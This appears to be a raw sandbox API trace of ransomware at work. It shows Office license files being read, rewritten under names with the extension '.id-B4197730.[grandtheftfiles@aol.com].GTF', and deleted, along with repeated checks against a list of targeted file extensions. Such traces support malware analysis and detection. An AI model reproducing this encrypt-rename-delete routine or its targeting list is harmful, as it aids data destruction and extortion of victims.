	[0175.164] WriteFile (in: hFile=0x590, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0175.166] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.167] WriteFile (in: hFile=0x590, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x102, lpOverlapped=0x0) returned 1
	[0175.167] SetEndOfFile (hFile=0x590) returned 1
	[0175.167] CloseHandle (hObject=0x590) returned 1
	[0175.167] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.167] SetEndOfFile (hFile=0x48c) returned 1
	[0175.170] CloseHandle (hObject=0x48c) returned 1
	[0175.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 1
	[0175.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0175.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0175.172] lstrlenW (lpString=".doc") returned 4
	[0175.172] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.172] lstrlenW (lpString=".docx") returned 5
	[0175.172] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.172] lstrlenW (lpString=".pdf") returned 4
	[0175.172] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.172] lstrlenW (lpString=".xls") returned 4
	[0175.172] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.172] lstrlenW (lpString=".xlsx") returned 5
	[0175.172] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.172] lstrlenW (lpString=".ppt") returned 4
	[0175.172] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0175.172] lstrlenW (lpString=".zip") returned 4
	[0175.172] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.172] lstrlenW (lpString=".rar") returned 4
	[0175.172] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.172] lstrlenW (lpString=".bz2") returned 4
	[0175.172] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.172] lstrlenW (lpString=".7z") returned 3
	[0175.172] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0175.173] lstrlenW (lpString=".dbf") returned 4
	[0175.173] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0175.173] lstrlenW (lpString=".1cd") returned 4
	[0175.173] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0175.173] lstrlenW (lpString=".jpg") returned 4
	[0175.173] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0175.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0175.173] lstrlenW (lpString=".doc") returned 4
	[0175.173] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.173] lstrlenW (lpString=".docx") returned 5
	[0175.173] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.173] lstrlenW (lpString=".pdf") returned 4
	[0175.173] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.173] lstrlenW (lpString=".xls") returned 4
	[0175.173] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.173] lstrlenW (lpString=".xlsx") returned 5
	[0175.173] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.173] lstrlenW (lpString=".ppt") returned 4
	[0175.173] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0175.173] lstrlenW (lpString=".zip") returned 4
	[0175.173] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.173] lstrlenW (lpString=".rar") returned 4
	[0175.173] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.173] lstrlenW (lpString=".bz2") returned 4
	[0175.173] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.173] lstrlenW (lpString=".7z") returned 3
	[0175.173] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0175.173] lstrlenW (lpString=".dbf") returned 4
	[0175.174] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0175.174] lstrlenW (lpString=".1cd") returned 4
	[0175.174] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0175.174] lstrlenW (lpString=".jpg") returned 4
	[0175.174] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.174] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.174] lstrlenW (lpString="MondoR_Retail-ppd.xrm-ms") returned 24
	[0175.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0175.175] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=26462) returned 1
	[0175.175] CloseHandle (hObject=0x48c) returned 1
	[0175.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 0x220
	[0175.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0175.176] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.176] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0175.177] GetLastError () returned 0x0
	[0175.177] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x675e, lpOverlapped=0x0) returned 1
	[0175.325] WriteFile (in: hFile=0x590, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x6760, lpOverlapped=0x0) returned 1
	[0175.327] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.327] WriteFile (in: hFile=0x590, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x104, lpOverlapped=0x0) returned 1
	[0175.327] SetEndOfFile (hFile=0x590) returned 1
	[0175.340] CloseHandle (hObject=0x590) returned 1
	[0175.372] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.372] SetEndOfFile (hFile=0x48c) returned 1
	[0175.403] CloseHandle (hObject=0x48c) returned 1
	[0175.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.403] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 1
	[0175.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0175.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0175.404] lstrlenW (lpString=".doc") returned 4
	[0175.404] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.404] lstrlenW (lpString=".docx") returned 5
	[0175.404] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.404] lstrlenW (lpString=".pdf") returned 4
	[0175.404] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.404] lstrlenW (lpString=".xls") returned 4
	[0175.404] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.404] lstrlenW (lpString=".xlsx") returned 5
	[0175.404] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.404] lstrlenW (lpString=".ppt") returned 4
	[0175.404] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0175.404] lstrlenW (lpString=".zip") returned 4
	[0175.404] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.404] lstrlenW (lpString=".rar") returned 4
	[0175.404] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.405] lstrlenW (lpString=".bz2") returned 4
	[0175.405] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.405] lstrlenW (lpString=".7z") returned 3
	[0175.405] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0175.405] lstrlenW (lpString=".dbf") returned 4
	[0175.405] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0175.405] lstrlenW (lpString=".1cd") returned 4
	[0175.405] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0175.405] lstrlenW (lpString=".jpg") returned 4
	[0175.405] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0175.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0175.405] lstrlenW (lpString=".doc") returned 4
	[0175.405] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.405] lstrlenW (lpString=".docx") returned 5
	[0175.405] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.405] lstrlenW (lpString=".pdf") returned 4
	[0175.405] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.405] lstrlenW (lpString=".xls") returned 4
	[0175.405] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.405] lstrlenW (lpString=".xlsx") returned 5
	[0175.405] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.405] lstrlenW (lpString=".ppt") returned 4
	[0175.405] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0175.405] lstrlenW (lpString=".zip") returned 4
	[0175.405] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.405] lstrlenW (lpString=".rar") returned 4
	[0175.405] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.405] lstrlenW (lpString=".bz2") returned 4
	[0175.406] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.406] lstrlenW (lpString=".7z") returned 3
	[0175.406] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0175.406] lstrlenW (lpString=".dbf") returned 4
	[0175.406] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0175.406] lstrlenW (lpString=".1cd") returned 4
	[0175.406] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0175.406] lstrlenW (lpString=".jpg") returned 4
	[0175.406] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.406] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.406] lstrlenW (lpString="MondoR_Subscription-ul-oob.xrm-ms") returned 33
	[0175.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0175.407] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11612) returned 1
	[0175.407] CloseHandle (hObject=0x48c) returned 1
	[0175.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 0x220
	[0175.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0175.408] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.408] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.408] GetLastError () returned 0x0
	[0175.409] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d5c, lpOverlapped=0x0) returned 1
	[0175.425] WriteFile (in: hFile=0x574, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0175.426] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.426] WriteFile (in: hFile=0x574, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x116, lpOverlapped=0x0) returned 1
	[0175.426] SetEndOfFile (hFile=0x574) returned 1
	[0175.426] CloseHandle (hObject=0x574) returned 1
	[0175.426] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.426] SetEndOfFile (hFile=0x48c) returned 1
	[0175.433] CloseHandle (hObject=0x48c) returned 1
	[0175.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 1
	[0175.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0175.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0175.443] lstrlenW (lpString=".doc") returned 4
	[0175.443] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.444] lstrlenW (lpString=".docx") returned 5
	[0175.444] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.444] lstrlenW (lpString=".pdf") returned 4
	[0175.444] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.444] lstrlenW (lpString=".xls") returned 4
	[0175.444] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.444] lstrlenW (lpString=".xlsx") returned 5
	[0175.444] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.444] lstrlenW (lpString=".ppt") returned 4
	[0175.444] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0175.444] lstrlenW (lpString=".zip") returned 4
	[0175.444] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.444] lstrlenW (lpString=".rar") returned 4
	[0175.444] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.444] lstrlenW (lpString=".bz2") returned 4
	[0175.444] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.444] lstrlenW (lpString=".7z") returned 3
	[0175.444] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0175.444] lstrlenW (lpString=".dbf") returned 4
	[0175.444] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0175.444] lstrlenW (lpString=".1cd") returned 4
	[0175.444] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0175.444] lstrlenW (lpString=".jpg") returned 4
	[0175.444] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0175.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0175.445] lstrlenW (lpString=".doc") returned 4
	[0175.445] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.445] lstrlenW (lpString=".docx") returned 5
	[0175.445] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.445] lstrlenW (lpString=".pdf") returned 4
	[0175.445] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.445] lstrlenW (lpString=".xls") returned 4
	[0175.445] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.445] lstrlenW (lpString=".xlsx") returned 5
	[0175.445] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.445] lstrlenW (lpString=".ppt") returned 4
	[0175.445] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0175.445] lstrlenW (lpString=".zip") returned 4
	[0175.445] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.445] lstrlenW (lpString=".rar") returned 4
	[0175.445] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.445] lstrlenW (lpString=".bz2") returned 4
	[0175.445] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.445] lstrlenW (lpString=".7z") returned 3
	[0175.445] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0175.445] lstrlenW (lpString=".dbf") returned 4
	[0175.445] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0175.445] lstrlenW (lpString=".1cd") returned 4
	[0175.445] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0175.445] lstrlenW (lpString=".jpg") returned 4
	[0175.445] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.446] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.446] lstrlenW (lpString="MondoR_Subscription2-ppd.xrm-ms") returned 31
	[0175.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0175.446] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=32362) returned 1
	[0175.446] CloseHandle (hObject=0x58c) returned 1
	[0175.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 0x220
	[0175.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0175.447] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.447] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
